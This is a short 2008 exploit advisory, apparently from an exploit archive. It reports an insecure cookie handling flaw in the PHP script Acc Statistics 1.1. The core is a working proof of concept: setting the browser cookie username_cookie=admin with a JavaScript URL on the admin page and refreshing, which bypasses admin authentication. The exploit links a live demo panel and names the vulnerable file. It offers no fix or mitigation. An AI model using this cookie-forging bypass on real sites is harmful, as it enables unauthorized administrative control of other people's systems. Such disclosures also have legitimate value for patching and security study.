Acc Statistics 1.1Insecure Cookie Handling Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Acc Statistics 1.1Insecure Cookie Handling Vulnerability
# Published : 2008-11-03
# Author : Hakxer
# Previous Title : Acc Real Estate 4.0 Insecure Cookie Handling Vulnerability
# Next Title : Acc PHP eMail 1.1 Insecure Cookie Handling Vulnerability

###########################################################################
______ __ __ ______ __ ______
/ ____/___  / / / ____/___ ____/ /__ __________ /_ __/__ ____ _____ ___
/ __/ / __ `/ / / / / __ / __ / _ / ___/ ___/ / / / _ / __ `/ __ `__ 
/ /___/ /_/ / / / / /___/ /_/ / /_/ / __/ / (__ ) / / / __/ /_/ / / / / / /
/_____/__, / /_/ ____/____/__,_/___/_/ /____/ /_/ ___/__,_/_/ /_/ /_/
/____/

# [~] Discovered by : Hakxer
# [~] Type Gap : AccStatistics v1.1 Insecure Cookie Handling
# [~] Script : http://www.accscripts.com/accstatistics.html
# [~] Greetz : Allah .. " Allah AkBar .. " Big Hacking SoOoN
##########################################################################

Bug In : /admin/Index.php

PoC : javascript:document.cookie="username_cookie=admin";

[~] Admin panel
http://www.accstatistics.com/demo/index.php
[~] Execute JS Code javascript:document.cookie="username_cookie=admin";
[~] Refresh


# Proud To be a Muslim #
#_=END=_#

# www.Syue.com [2008-11-03]